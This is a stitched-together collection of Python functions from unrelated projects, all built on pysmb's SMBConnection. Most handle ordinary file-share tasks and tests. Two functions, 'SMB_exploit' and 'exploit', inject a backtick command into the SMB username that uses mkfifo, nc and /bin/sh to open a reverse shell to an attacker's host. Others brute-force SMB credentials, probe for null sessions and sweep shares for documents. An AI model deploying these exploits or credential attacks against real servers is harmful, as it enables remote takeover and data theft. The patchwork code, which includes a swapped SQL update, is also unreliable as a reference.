class SmbClient(object): def __init__(self,ip,username,password,sharename): self.ip = ip self.username = username self.password = password self.sharename = sharename def connect(self): self.server = SMBConnection(self.username, self.password,client,netbios_name,use_ntlm_v2=True) self.server.connect(self.ip,139) def upload(self,file): data = open(file,'rb') file = '/' + file self.server.storeFile(self.sharename,file,data) print "file has been uploaded" def download(self,file): fileobj = open(file,'wb') self.server.retrieveFile(self.sharename,fileobj) print "file has been downloaded in current dir" def delete(self,file): 'remove file from remote share' file = '/' + file self.server.deleteFiles(self.sharename,file) def list(self): ' list files of remote share ' filelist = self.server.listPath(self.sharename,'/') for f in filelist: print f.filename
def enumerateShareName(ip,shareName): print "Attempting to access: //"+ip+"/"+shareName try: conn = SMBConnection('guest', '', client_machine_name, remote_machine_name, use_ntlm_v2 = True) conn.connect(ip, 445) except: print "Failed to Connect" pass filelist = conn.listPath(shareName, "") for y in filelist: if y.isDirectory: if y.filename!="." and y.filename!="..": found=False for z in ignoreList: if z in str(y.filename).lower(): found=True if found==False: addDirList.append([ip,shareName,"\\"+y.filename]) getShares(ip,shareName,"\\"+y.filename) else: shareName1=shareName.replace("//","/") fullPath = ip+"/"+shareName1+"/"+y.filename fullPath = fullPath.replace("///","/") fullPath = fullPath.replace("//","/") fullPath = "//"+fullPath print fullPath allFilesList.append([ip,shareName1,fullPath]) for format in formatList: if format in str(y.filename).lower(): docList.append(["docs",ip,fullPath]) fileMatch(ip,fullPath)
def getShares(ip,shareName,folderPath): conn = SMBConnection('guest', '', client_machine_name, remote_machine_name, use_ntlm_v2 = True) conn.connect(ip, 445) filelist = conn.listPath(shareName, folderPath) for y in filelist: if y.isDirectory: if y.filename!="." and y.filename!="..": found=False for z in ignoreList: if z in str(y.filename).lower(): found=True if found==False: getShares(ip,shareName,"\\"+folderPath+"\\"+y.filename) else: folderPath1=folderPath.replace("\\","/") folderPath1=folderPath1.replace("//","/") shareName1=shareName.replace("//","/") fullPath = ip+"/"+shareName1+folderPath1+"/"+y.filename fullPath = fullPath.replace("///","/") fullPath = fullPath.replace("//","/") fullPath = "//"+fullPath print fullPath allFilesList.append([ip,shareName1,fullPath]) for format in formatList: if format in str(y.filename).lower(): docList.append(["docs",ip,fullPath]) fileMatch(ip,fullPath)
def authenticate(self): from smb.SMBConnection import SMBConnection # There will be some mechanism to capture userID, password, client_machine_name, server_name and server_ip # client_machine_name can be an arbitary ASCII string # server_name should match the remote machine name, or else the connection will be rejected #userID = 'xatportantier' userID = 'guest' #password = '******' password = '' client_machine_name = 'fmp' server_ip = '192.1.3.120' server_name = 'Server72' server_name = '' from nmb.NetBIOS import NetBIOS nb = NetBIOS(broadcast=True, listen_port=0) #print('ip', nb.queryName(server_name, port=445)) #print('name', nb.queryIPForName(server_ip)) conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2=True, is_direct_tcp=False) from pprint import pprint for a in [ 'capabilities', 'domain', 'host_type', 'log', 'my_name', 'remote_name', 'security_mode', 'uid', 'username' ]: print(a, getattr(conn, a)) #print('cap', conn.capabilities) #print('domain', conn.domain) print('auth', conn.connect(server_ip, 139))
def setup_func_SMB2(): global conn smb_structs.SUPPORT_SMB2 = True info = getConnectionInfo() conn = SMBConnection(info["user"], info["password"], info["client_name"], info["server_name"], use_ntlm_v2=True) assert conn.connect(info["server_ip"], info["server_port"])
def return_sampleIDs(): sampleIDs = [] query = request.form['query'] mainLibraryFolder = request.form['mainLibraryFolder'] try: conn = SMBConnection(username, password, myRequestIdentifier, serverName, domain=domain, use_ntlm_v2 = True) conn.connect(host, port) sampleSheetCSV = tempfile.NamedTemporaryFile() pathTo = 'MiSeqOutput/'+mainLibraryFolder+'/SampleSheet.csv' sampleSheetCSV_attributes, sampleSheetCSV_size = conn.retrieveFile(sharedFolder, pathTo, sampleSheetCSV) sampleSheetCSV.seek(0) fileContents = sampleSheetCSV.read() uniqueLines = fileContents.replace("\r\n", '\n').replace("\r", '\n').split("\n") counter = 0 for line in uniqueLines: #sampleIDs.append(idtext(line, line)) if (line.startswith("[Data]") or counter==1): counter+=1 continue #Two lines after [Data] line, first sampleIDs is encountered if (counter==2): sampleID = line[:line.find(",")] if (query.lower() in sampleID.lower()) and not sampleID=="": #Not blank line sampleIDs.append(idtext(sampleID, sampleID)) except Exception as ex: exc_type, exc_obj, exc_tb = sys.exc_info() fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1] return jsonify(result=(exc_type, fname, exc_tb.tb_lineno)) return jsonify(result=[e.serialize() for e in sampleIDs])
def smb_connect(args): ip = args.ip port = args.port username = args.username password = args.password domain = args.domain timeout = args.timeout verbose = args.verbose client_name = "client" server_name = ip if port == 445: is_direct_tcp = True else: is_direct_tcp = False # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp) smb_authentication_successful = conn.connect(ip, port, timeout = timeout) if smb_authentication_successful: print "authentication successful" return conn else: print "authentication failed" return None
def verify_user(username, password): verified_username_and_password = False msg_to_web = None conn = None try: if is_username_correct(username): conn = SMBConnection( username, password, 'gsmbpasswd-server', SMB_SERVER, use_ntlm_v2 = True) verified_username_and_password = conn.connect(SMB_SERVER, 445) else: verified_username_and_password = False log_to_file(u"WARNING: Someone entered a non-existent username: %s" % username) except: # Re-raise the same exception that was thrown and let # the calling function handle the exception. raise finally: if not conn == None: conn.close # Always close the connection return verified_username_and_password, msg_to_web
def transfer(self, uid, old_code, new_code): """ Sync a child transfer with GP: rename pictures and log a note. """ # Retrieve configuration smb_user = config.get('smb_user') smb_pass = config.get('smb_pwd') smb_ip = config.get('smb_ip') smb_port = int(config.get('smb_port', 0)) if not (smb_user and smb_pass and smb_ip and smb_port): return False # Rename files in shared folder smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas') if smb_conn.connect(smb_ip, smb_port): gp_old_pic_path = "{0}{1}/".format(config.get('gp_pictures'), old_code[:2]) gp_new_pic_path = "{0}{1}/".format(config.get('gp_pictures'), new_code[:2]) pic_files = smb_conn.listPath('GP', gp_old_pic_path) for file in pic_files: filename = file.filename if filename.startswith(old_code): new_name = filename.replace(old_code, new_code) smb_conn.rename('GP', gp_old_pic_path + filename, gp_new_pic_path + new_name) # Rename child code in GP tables self.query("UPDATE ENFANTS SET CODE = %s WHERE CODE = %s", [new_code, old_code]) self.query("UPDATE Poles SET CODESPE = %s WHERE CODESPE = %s", [new_code, old_code]) self.query("UPDATE Affectat SET CODESPE = %s WHERE CODESPE = %s", [new_code, old_code]) return True
def get_connection(location): """ Get a SMB connnection using the location and verify the remote location. Get the formatted location name, otherwise throw a RemoteNameException. Create the SMB connection, otherwise throw a SMBConnectionException. """ location_name = smb_share_format.format(location.server_ip, location.share_name, location.path) netbios = NetBIOS() remote_name = netbios.queryIPForName(location.server_ip) if not remote_name: raise RemoteNameException("Unable to get remote name for {0}!". format(location.server_ip)) if not location.username: location.username="" if not location.password: location.password="" connection = SMBConnection(location.username, location.password, 'ONYX', remote_name[0]) if not connection.connect(location.server_ip): riemann.send({"host": config.HOST, "service": "shareutil.get_connection", "state": "start"}) raise SMBConnectionException("Unable to connect to {0}". format(location_name)) return connection
def connect(server_name, user, password, domain='', use_ntlm_v2=True): logger.info("[lib.samba.py] connect") from smb.SMBConnection import SMBConnection import socket from smb import smb_structs smb_structs.SUPPORT_SMB2 = False if user == 'quest' or user == 'anonnimo' or user == 'invitado' or user == 'anonimo' or user == '' or user is None: user = '******' password = '' logger.info("[lib.samba.py] Averigua IP...") server_ip = socket.gethostbyname(server_name) logger.info("[lib.samba.py] server_ip=" + server_ip) logger.info("[lib.samba.py] Crea smb...") try: remote = SMBConnection(user, password, domain, server_name, use_ntlm_v2=use_ntlm_v2) conn = remote.connect(server_ip, 139) except: remote = SMBConnection(user, password, domain, server_ip, use_ntlm_v2=use_ntlm_v2) conn = remote.connect(server_ip, 139) logger.info("[lib.samba.py] Conexión realizada con éxito") return remote
def transfer(self, uid, old_code, new_code): """ Sync a child transfer with GP: rename pictures and log a note. """ # Retrieve configuration smb_user = config.get("smb_user") smb_pass = config.get("smb_pwd") smb_ip = config.get("smb_ip") smb_port = int(config.get("smb_port", 0)) if not (smb_user and smb_pass and smb_ip and smb_port): return False # Rename files in shared folder smb_conn = SMBConnection(smb_user, smb_pass, "openerp", "nas") if smb_conn.connect(smb_ip, smb_port): gp_old_pic_path = "{0}{1}/".format(config.get("gp_pictures"), old_code[:2]) gp_new_pic_path = "{0}{1}/".format(config.get("gp_pictures"), new_code[:2]) pic_files = smb_conn.listPath("GP", gp_old_pic_path) for file in pic_files: filename = file.filename if filename.startswith(old_code): new_name = filename.replace(old_code, new_code) smb_conn.rename("GP", gp_old_pic_path + filename, gp_new_pic_path + new_name) # Rename child code in Poles table self.query("UPDATE Poles SET CODESPE = %s WHERE CODESPE = %s", [old_code, new_code]) return True
def run_brute_force(username, password, args): ip = args.ip port = args.port domain = args.domain list_shares = args.list_shares timeout = args.timeout verbose = args.verbose client_name = "client" server_name = ip if port == 445: is_direct_tcp = True else: is_direct_tcp = False try: # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp) smb_authentication_successful = conn.connect(ip, port, timeout = timeout) if smb_authentication_successful: print "success: [%s:%s]" % (username, password) if list_shares: list_smb_shares(conn, timeout) else: if verbose: print "failed: [%s:%s]" % (username, password) except: if verbose: e = sys.exc_info() print "%s" % str(e) finally: if conn: conn.close()
def setup_func_SMB2(): global conn smb_structs.SUPPORT_SMB2 = True smb_structs.SUPPORT_SMB2x = False info = getConnectionInfo() conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2 = True, is_direct_tcp = True) assert conn.connect(info['server_ip'], info['server_port'])
def _transfer_file_on_nas(self, file_name): """ Puts the letter file on the NAS folder for the translation platform. :return: None """ self.ensure_one() # Retrieve configuration smb_user = config.get('smb_user') smb_pass = config.get('smb_pwd') smb_ip = config.get('smb_ip') smb_port = int(config.get('smb_port', 0)) if not (smb_user and smb_pass and smb_ip and smb_port): raise Exception('No config SMB in file .conf') # Copy file in the imported letter folder smb_conn = SMBConnection(smb_user, smb_pass, 'openerp', 'nas') if smb_conn.connect(smb_ip, smb_port): file_ = BytesIO(base64.b64decode( self.letter_image.with_context( bin_size=False).datas)) nas_share_name = self.env.ref( 'sbc_translation.nas_share_name').value nas_letters_store_path = self.env.ref( 'sbc_translation.nas_letters_store_path').value + file_name smb_conn.storeFile(nas_share_name, nas_letters_store_path, file_) logger.info('File {} store on NAS with success' .format(self.letter_image.name)) else: raise Warning(_('Connection to NAS failed'))
def smb_scan(ip, port, list_shares, timeout, verbose): # empty username and password for null session username = "" password = "" client_name = "client" server_name = ip if port == 445: is_direct_tcp = True else: is_direct_tcp = False try: # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) conn = SMBConnection(username, password, client_name, server_name, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp) smb_authentication_successful = conn.connect(ip, port, timeout = timeout) if smb_authentication_successful: print "SMB active [null session enabled]: %s:%s" % (ip, port) if list_shares: list_smb_shares(conn, timeout) else: # on Windows 7 authentication fails due to disabled null sessions print "SMB active [null session disabled]: %s:%s" % (ip, port) except: if verbose: e = sys.exc_info() print "%s" % str(e) finally: if conn: conn.close()
def connect(self): conn = SMBConnection(self.user_id, self.password, self.server_ip, self.server_name, use_ntlm_v2=True) conn.connect(self.server_ip, 139) return conn
def __init__(self, host, username, password, remote_name, local_name=None): local_name = local_name if local_name else '' self.conn = SMBConnection(username, password, local_name, remote_name, is_direct_tcp=True) self.conn.connect(host, 445)
def SMB_exploit(rhost, rport, lhost, lport): payload = 'mkfifo /tmp/p; nc ' + lhost + ' ' + lport + ' 0</tmp/p | /bin/sh >/tmp/p 2>&1; rm /tmp/p' username = "******" + payload + "`" conn = SMBConnection(username, "", "", "") try: conn.connect(rhost, int(rport), timeout=1) except: log.success("Payload was sent!")
def connlist(self): obj = SMBConnection(self.userID, self.password, self.server_name, self.server_name, use_ntlm_v2 = True, is_direct_tcp = True) obj.connect(self.server_ip, 445) resp = obj.listShares() shares = [] for share in range(len(resp)): shares.append(resp[share].name) return obj, shares
def exploit(rhost, rport, lhost, lport): payload = "mkfifo /tmp/hago; nc " + lhost + " " + lport + " 0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago" username = "******" + payload + "`" conn = SMBConnection(username, "", "", "") try: conn.connect(rhost, int(rport), timeout=1) except: print('[+] Payload was sent - check netcat !')
def connect(): user = '******' pw = os.environ.get('DISC_PASSWORD') or get_cred('ECN_PW') or getpass( 'disc password: '******'login', 'templeton.ecn.purdue.edu/disc') connected = conn.connect('128.46.104.13') return conn
def setup_func_SMB2(): global conn smb_structs.SUPPORT_SMB2 = True smb_structs.SUPPORT_SMB2x = False info = getConnectionInfo() conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2 = True) assert conn.connect(info['server_ip'], info['server_port'])
def connect_to_smb(self): self.conn = SMBConnection(username=smb_info[5], password=smb_info[6], my_name='RASPIX', remote_name=smb_info[2], use_ntlm_v2=True) assert self.conn.connect(ip=smb_info[0], port=int(smb_info[1]))
def __init__(self, username: str, password: str, ip: str, port: int = 139): self.username = username self.password = password self.ip = ip self.port = port self.samba = SMBConnection(self.username, self.password, '', '', use_ntlm_v2=True) self.samba.connect(self.ip, self.port) self.status = self.samba.auth_result
def connect(username, password, my_name, remote_name, remote_ip): smb_structs.SUPPORT_SMB2 = True conn = SMBConnection(username, password, my_name, remote_name, use_ntlm_v2 = True) try: conn.connect(remote_ip, 445) #139=NetBIOS / 445=TCP except Exception as e: print(e) return conn
def __init__(self, smb_ip, smb_port, user_name, user_pwd): self.smb_ip = smb_ip self.smb_port = smb_port self.user_name = user_name self.user_pwd = user_pwd self.my_name = MY_NAME self.remote_name = REMOTE_SMB_NAME self.conn = SMBConnection(self.user_name, self.user_pwd, self.my_name, self.remote_name, use_ntlm_v2=True)
def run(self): try: conn = SMBConnection(MiSeqServerData.username, MiSeqServerData.password, MiSeqServerData.myRequestIdentifier, MiSeqServerData.serverName, domain=MiSeqServerData.domain, use_ntlm_v2 = True) conn.connect(MiSeqServerData.host, MiSeqServerData.port) #Get files names of fastq.gz files that correspond to subLibraryID (e.g. one if single, two if paired-end read) print("Reading fastq.gz file for "+self.subLibraryID) fastqFiles = [] try: sharedFileObjs = conn.listPath(MiSeqServerData.sharedFolder, '/MiSeqOutput/'+self.mainLibraryFolder+'/Data/Intensities/BaseCalls') for a in sharedFileObjs: #If fastq.gz file... if (a.filename.endswith("fastq.gz")): #And correct sample ID if (a.filename.startswith(self.subLibraryID) or a.filename.startswith(self.subLibraryID.replace("_", "-"))): #For some reason, MiSeq sampleSheet.csv will escape hyphens fastqFiles.append(a.filename) #Now fetch and write fastq.gz files to local machine director = urllib.request.build_opener(SMBHandler) fh = director.open('smb://'+MiSeqServerData.username+':'+MiSeqServerData.password+'@secret.jbei.org/miseq/MiSeqOutput/'+self.mainLibraryFolder+'/Data/Intensities/BaseCalls/'+a.filename).read() f = open(self.outputFolder+"/"+a.filename, 'wb') f.write(fh) f.close() except SMBTimeout: print("SMB server timed out") return except NotReadyError: print("Authentication with SMB server failed") return except NotConnectedError: print("Disconnected from SMB server") return except Exception as ex: print("Error retrieving fastq.gz files "+str(ex)) return print("Writing metadata for "+self.subLibraryID) for filename in fastqFiles: #Get metadata for project's pre.libraries.info file proposalID = self.subLibraryID libraryName = "libName" genus = "genus" species = "species" strain = "strain" metaData = [proposalID, libraryName, self.outputFolder+"/"+filename, genus, species, strain] #Save metadata to be later printed to libraries.info file self.metadata += ("\t").join(metaData)+"\n"; except SMBTimeout: print("SMB server timed out") return except NotReadyError: print("Authentication with SMB server failed") return except NotConnectedError: print("Disconnected from SMB server") return except Exception as ex: print("Error retrieving libraries from SMB server "+str(ex)) return
def setup_func(): global conn info = getConnectionInfo() conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2=True) assert conn.connect(info['server_ip'], info['server_port'])
def test_smb(host, password): print("Testing SMB") try: conn = SMBConnection("smbtemp", password, "test", "INTCORP1") conn.connect(host, 445) files = conn.listPath('Shared', '/') print("test_smb Success") except Exception as e: pass
def delete_file(conn: SMBConnection, service_name: str, path_file_pattern: str): _file_abs_path = f"{service_name}/{path_file_pattern}" try: conn.deleteFiles(service_name, path_file_pattern) except Exception as e: logger.warning(f"删除文件失败,文件不存在:{_file_abs_path}") else: logger.info(f"删除文件成功:{_file_abs_path}")
def opensmbconn(): conn = SMBConnection(smbusername, smbpassword, 'appanalyzer', smbclientname, domain=smbdomain, use_ntlm_v2=True) assert conn.connect(smbclientname + '.' + smbdomain) return conn
def _connect_repo_file_system(repo, photo_name): """ Get connection for repo :param repo: PhotoRepository :param photo_name: name of photo to search :return data_info: Dict """ data_info = {'path': '', 'url': '', 'type': '', 'success': False} conn = SMBConnection(username=repo.user_id.encode('ascii'), password=repo.password.encode('ascii'), my_name=repo.client_machine_name.encode('ascii'), remote_name=repo.server_name.encode('ascii'), domain=repo.domain.encode('ascii'), use_ntlm_v2=True) try: if conn.connect(ip=repo.server_ip, port=139): try: file_obj = tempfile.NamedTemporaryFile() file_attributes, file_size = conn.retrieveFile( repo.service_name, '{0}{1}'.format(repo.path, photo_name), file_obj) if file_attributes: path = '{0}{1}{2}'.format(settings.MEDIA_ROOT, '/photographs/', photo_name) shutil.copy(file_obj.name, path) ''' set permissions ''' os.chmod(path, 0660) data_info['path'] = path data_info['url'] = '{0}{1}{2}{3}'.format( settings.VALID_HOST, settings.MEDIA_URL, 'photographs/', photo_name) data_info['type'] = path.split('.')[-1] data_info['success'] = True return data_info file_obj.close() conn.close() except Exception as e: print e print "Operacion fallida" conn.close() except Exception as e: print e conn.close() return data_info
def connect(url): #logger.info("Url: %s" % url) global remote server_name, server_ip, share_name, path, user, password, domain = parse_url(url) if not remote or not remote.sock or not server_name == remote.remote_name: remote = SMBConnection(user, password, domain, server_name) remote.connect(server_ip, 139) return remote, share_name, path
def connect(url): # logger.info("Url: %s" % url) global remote server_name, server_ip, share_name, path, user, password, domain = parse_url(url) if not remote or not remote.sock or not server_name == remote.remote_name: remote = SMBConnection(user, password, domain, server_name) remote.connect(server_ip, 139) return remote, share_name, path
def connectSmb(): try: global smbconn global smbstatue smbconn = SMBConnection(username, password, 'xu-All-Series','WIN-FILE1',"jlinksz.com", use_ntlm_v2=True) smbstatue = smbconn.connect("192.168.8.206", 139) except Exception as e: print(e) smbconn.close()
def linksmb(suser, spass, lcn, rcn, rip): conn = SMBConnection(suser, spass, lcn, rcn, use_ntlm_v2=True, is_direct_tcp=True) conn.connect(rip, 445) return conn
def __init__(self, server_ip="localhost", server_port=445, server_name="", server_domain="WORKGROUP", client_login="******", client_password="******", server_share="/", client_name=socket.gethostname(), ntlm_v2=True, direct_tcp=True): logger.warning("Establishing connexion to SMB server " + client_login + "@" + server_ip + ":" + str(server_port) + "/" + server_share + " in domain " + server_domain + "...") errorMsg = "An error has occured during Samba connection. Script aborting..." errorMsg1 = "An error has occured while listing samba shares. Script aborting..." errorMsg2 = "The following share doesn't exist on the remote Samba server : " + server_share + "!" try: session = SMBConnection(client_login, client_password, client_name, server_name, domain=server_domain, use_ntlm_v2=ntlm_v2, is_direct_tcp=direct_tcp) assert session.connect(server_ip, server_port) except Exception as e: logger.error(e) logger.error(errorMsg) raise NameError(errorMsg) try: shares = session.listShares() except Exception as e: logger.error(e) logger.error(errorMsg1) raise NameError(errorMsg1) flagShareFound = False for share in shares: if server_share == share.name: flagShareFound = True break if flagShareFound == False: logger.error(errorMsg2) raise NameError(errorMsg2) self.server_ip = server_ip self.server_port = server_port self.server_name = server_name self.server_domain = server_domain self.client_login = client_login self.client_password = client_password self.server_share = server_share self.client_name = client_name self.ntlm_v2 = ntlm_v2 self.direct_tcp = direct_tcp self.session = session logger.info("SMB connection OK!")
def _connToServer(self): try: #print 'id:', self._uid # print 'servername', self._serverName self._conn = SMBConnection(self._uid, self._upwd, '', self._serverName) #use_ntlm_v2 = True if not self._conn.connect(self._serverName): #port = 139 raise Exception('connect failure:', self._serverName) except Exception as e: print str(e)
def make_smb_connection(username, password, request_identifier, server_name, domain, host, port): conn = SMBConnection(username, password, request_identifier, server_name, domain=domain, use_ntlm_v2=True) conn.connect(host, port) return conn
def _smb_connection(self, server): import path ip = socket.gethostbyname(server) hostname = server.split('.', 1)[0] log.debug("_smb_connection: %s %s %s", repr(hostname), repr(self.domain), repr(ip)) con = SMBConnection(path.SMB_USER, path.SMB_PASS, 'client', hostname, self.domain) con.connect(ip, timeout=30) return con
def test_NTLMv2_auth_SMB2(): global conn smb_structs.SUPPORT_SMB2 = True info = getConnectionInfo() conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], use_ntlm_v2=True) assert conn.connect(info['server_ip'], info['server_port'])
def _get_connection(self): localname = socket.gethostname() remotename = 'agustin' conn = SMBConnection(self.username, self.password, localname, remotename) self.debug('get connection {}'.format(self.host)) if conn.connect(self.host): return conn else: print('failed to connect')
def notify_smb(isn, timestamp, msg): server_name = "" client_machine_name = "Onegin" server_ip = "172.18.212.211" userID = "szsfis" password = "******" conn = SMBConnection(userID, password, client_machine_name, server_name, use_ntlm_v2 = True) assert conn.connect(server_ip, 139) filename = "%s_%s.csv" % (isn, timestamp) conn.storeFile("sz_sfis_event_log", filename, StringIO.StringIO(msg))
def conn(self): """ Connection to server. """ if self._conn is None: self._conn = SMBConnection(self.username, self.password, self.client_name, self.server_name, use_ntlm_v2=True) self._conn.connect(self.server_IP, self.port) return self._conn
def connect(server_addr, username, password): smb_structs.SUPPORT_SMB2 = True remote_name = "smbserver" conn = SMBConnection(username, password, username, remote_name, use_ntlm_v2 = True) try: conn.connect(server_addr, 445) #139=NetBIOS / 445=TCP except Exception as e: print(e) return conn
def Connect(self): try: self.conn = SMBConnection(self.username, self.password, self.client, self.server, use_ntlm_v2=True, domain=self.domain) self.connected = self.conn.connect(self.server_ip, self.port) return self.connected except Exception as e: self.logger.LogMessage('error', str(e)) return None
def SMB(username, password, targetip, port, timeout): from smb.SMBConnection import SMBConnection try: system_name="server" conn = SMBConnection(username,password,"Norma-Atear",targetip,use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) connected = conn.connect(targetip,port) except: print('### can not access the system')
def test_NTLMv1_auth_SMB2(): global conn smb_structs.SUPPORT_SMB2 = smb_structs.SUPPORT_SMB2x = True info = getConnectionInfo() conn = SMBConnection(info['user'], info['password'], info['client_name'], info['server_name'], domain=info['domain'], use_ntlm_v2=False) assert conn.connect(info['server_ip'], info['server_port']) conn2 = SMBConnection(info['user'], 'wrongPass', info['client_name'], info['server_name'], use_ntlm_v2=False) assert not conn2.connect(info['server_ip'], info['server_port']) conn3 = SMBConnection('INVALIDUSER', 'wrongPass', info['client_name'], info['server_name'], use_ntlm_v2=False) assert not conn3.connect(info['server_ip'], info['server_port'])
def uploadCmdrWatch(barcodeFile, dataType, data, config): try: localslug = re.sub('[^\w-]+', '_', barcodeFile).strip().lower() barcodeFh = codecs.open('/tmp/%s' % localslug, 'w', 'utf-8-sig') csvlogfh = csv.writer(barcodeFh, delimiter=",", quoting=csv.QUOTE_ALL) if dataType == 'locationLabels': csvlogfh.writerow('termdisplayname'.split(',')) for d in data: csvlogfh.writerow((d[0],)) # writerow needs a tuple or array elif dataType == 'objectLabels': csvlogfh.writerow( 'MuseumNumber,ObjectName,PieceCount,FieldCollectionPlace,AssociatedCulture,EthnographicFileCode'.split( ',')) for d in data: csvlogfh.writerow(d[3:9]) barcodeFh.close() except: # raise barcodeFile = '<span style="color:red;">could not write to /tmp/%s</span>' % localslug return barcodeFile try: # OK, now we have the file object with the data in it. write it to the # commanderWatch server via SMB domain = config.get('files', 'domain') userID = config.get('files', 'userID') password = config.get('files', 'password') client_name = config.get('files', 'client_name') server_ip = config.get('files', 'server_ip') service_name = config.get('files', 'service_name') # client_machine_name can be an arbitary ASCII string # server_name should match the remote machine name, or else the connection will be rejected # # SMBConnection(username, password, my_name, remote_name, domain='') conn = SMBConnection(userID, password, client_name, service_name, domain, is_direct_tcp=True) assert conn.connect(server_ip, 445) # storeFile(service_name, path, file_obj, timeout=30) # service_name - the name of the shared folder for the path barcodeFh = open('/tmp/%s' % localslug, 'rb') bytes = conn.storeFile(service_name, barcodeFile, barcodeFh) barcodeFh.close() os.unlink('/tmp/%s' % localslug) return barcodeFile except: # raise os.unlink('/tmp/%s' % localslug) barcodeFile = '<span style="color:red;">could not transmit %s to commanderWatch</span>' % barcodeFile return barcodeFile
def performSMBConnection(self, host='127.0.0.1', port=139, user="", passwd=""): client_name =socket.gethostname() smbClient = SMBConnection(user, passwd, client_name, "") if smbClient.connect(host, port): print "[+] SMB Connection Success ... " print "[+] Listing the Shared resources" for share in smbClient.listShares(): print "[*][*] Resource name: %s " %(share.name) return True else: return False
def connectTest(self, config, userID, password, server_name, proxy): if not config["domain"]: print("[-] ERROR: You must supply a domain/workgroup with --domain") else: conn = SMBConnection(userID, password, 'pycon', server_name, use_ntlm_v2=True, domain=config["domain"], sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) connection = conn.connect(server_name, 445) if connection: print("[+] User Credentials Successful: " + config["USERNAME"] + ":" + config["PASSWORD"]) self.somethingCool(config, userID, password, server_name, conn, connection) else: print("[-] Login Failed for: " + config["USERNAME"] + ":" + config["PASSWORD"])
def file_connection(): IP = sys.argv[1] shareName = sys.argv[2] inputFile = sys.argv[3] port = 139 conn = SMBConnection("","","","") conn.connect(IP,port) fileObj = tempfile.NamedTemporaryFile() conn.retrieveFile(shareName,inputFile,fileObj) return fileObj
def Connect(self): client_machine_name = socket.gethostname() # watch out: # self.computer is unicode (must be converted to str)! conn = SMBConnection(self.username, self.password, client_machine_name, str(self.computer)) computerIp = socket.gethostbyname(self.computer) # print computerIp conn.connect(computerIp, 139) self.conn = conn
def smb_connect(_hostname, _username, _password): """ Connect to a SMB server and return a connection :param _hostname: The name of the host to connect to :param _username: The username :param _password: The password :return: Returns an instance of SMBConnection or raises an exception """ _smb = SMBConnection(username=_username, password=_password, my_name='client', remote_name=_hostname) if _smb.connect(ip=_hostname) is True: return _smb else: raise Exception("SMB authentication failed")
def main(argv): parser = OptionParser() parser.add_option("-u", "--username", help="Username that will be used for authentication") parser.add_option("-p", "--password", help="Password that will be used for authentication") parser.add_option("-f", "--file", dest="filename", help="Read systems list from file") parser.add_option("-d", "--domain", help="Domain name that will be used for authentication") (options, args) = parser.parse_args() with open(options.filename) as f: for system_name in f: try: print('### Analyzing system: ' + system_name) # parameterize an smb connection with a system conn = SMBConnection(options.username, options.password, 'enumerator', system_name, options.domain, use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) # establish the actual connection connected = conn.connect(system_name,445) try: Response = conn.listShares(timeout=30) # obtain a list of shares print('Shares on: ' + system_name) for i in range(len(Response)): # iterate through the list of shares print(" Share[",i,"] =", Response[i].name) try: # list the files on each share (recursivity?) Response2 = conn.listPath(Response[i].name,'/',timeout=30) print(' Files on: ' + system_name + '/' + " Share[",i,"] =", Response[i].name) for i in range(len(Response2)): print(" File[",i,"] =", Response2[i].filename) except: print('### can not access the resource') except: print('### can not list shares') except: print('### can not access the system')
def __connect(self): conn_cnt = 0 logger.info("trying to connect smb server on %s:%s" % (self.ip, self.port)) while conn_cnt < ss.get("reconnect_times", 3): try: smb_conn = SMBConnection( self.username, self.password, self.client_name, self.server_name, use_ntlm_v2=self.use_ntlm_v2 ) smb_conn.connect(self.ip, self.port) logger.info("connected to smb server") return smb_conn except Exception, e: conn_cnt += 1 logger.info("connecting failed, times to reconnect: %d" % conn_cnt)
def searchTarget(self, host, username, password, domainname): success = False try: self.display.debug('### Analyzing system: ' + host) # parameterize an smb connection with a system conn = SMBConnection(username, password, 'enumerator', host, domainname, use_ntlm_v2=True, sign_options=SMBConnection.SIGN_WHEN_SUPPORTED, is_direct_tcp=True) # establish the actual connection connected = conn.connect(host, 445) if connected: success = True try: Response = conn.listShares(timeout=30) # obtain a list of shares self.display.debug('Shares on: ' + host) for i in range(len(Response)): # iterate through the list of shares self.display.debug(" Share[" + str(i) + "] =" + str(Response[i].name)) self.searchDir(host, conn, Response[i].name, '/') # try: # # list the files on each share (recursivity?) # Response2 = conn.listPath(Response[i].name, '/', timeout=30) # self.display.debug(' Files on: ' + host + '/' + " Share[" + str(i) + "] =" + str(Response[i].name)) # for i in range(len(Response2)): # for pattern in self.filepatterns: # try: # re.compile(pattern) # result = re.match(pattern, Response2[i].filename) # if (result): # # TODO # # host.download(fpath, self.config["proofsDir"] + ip + fpath.replace("/", "_")) # self.display.debug(" File[" + str(i) + "] =" + str(Response2[i].filename)) # except re.error: # self.display.debug("Invalid File Pattern --> %s <--" % pattern) # except: # self.display.error('### can not access the resource') except: self.display.debug('### can not list shares') except: self.display.debug('### can not access the system (%s) (%s) (%s) (%s)' % (host, username, password, domainname)) return success